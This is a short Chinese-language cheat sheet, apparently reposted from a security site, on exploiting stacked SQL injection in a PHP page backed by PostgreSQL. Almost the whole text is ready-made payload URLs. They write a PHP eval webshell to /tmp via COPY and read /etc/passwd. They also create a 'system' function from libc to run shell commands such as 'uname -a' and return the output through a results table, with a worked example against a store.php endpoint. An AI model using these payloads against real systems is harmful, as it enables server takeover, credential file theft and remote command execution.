| 关键词: system postgresql php select stdout create 输出 id 127.0 store |
如何获得webshellhttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$; 如何读文件http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT); http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’; http://127.0.0.1/postgresql.php?id=1;select * from myfile; z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。当然,这些的postgresql的数据库版本必须大于8.X创建一个system的函数:CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT 创建一个输出表:CREATE TABLE stdout(id serial, system_out text) 执行shell,输出到输出表内:SELECT system('uname -a > /tmp/test') copy 输出的内容到表里面;COPY stdout(system_out) FROM '/tmp/test' 从输出表内读取执行后的回显,判断是否执行成功 SELECT system_out FROM stdout下面是测试例子 /store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'STRICT --/store.php?id=1; SELECT system('uname -a > /tmp/test') --/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1-- |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|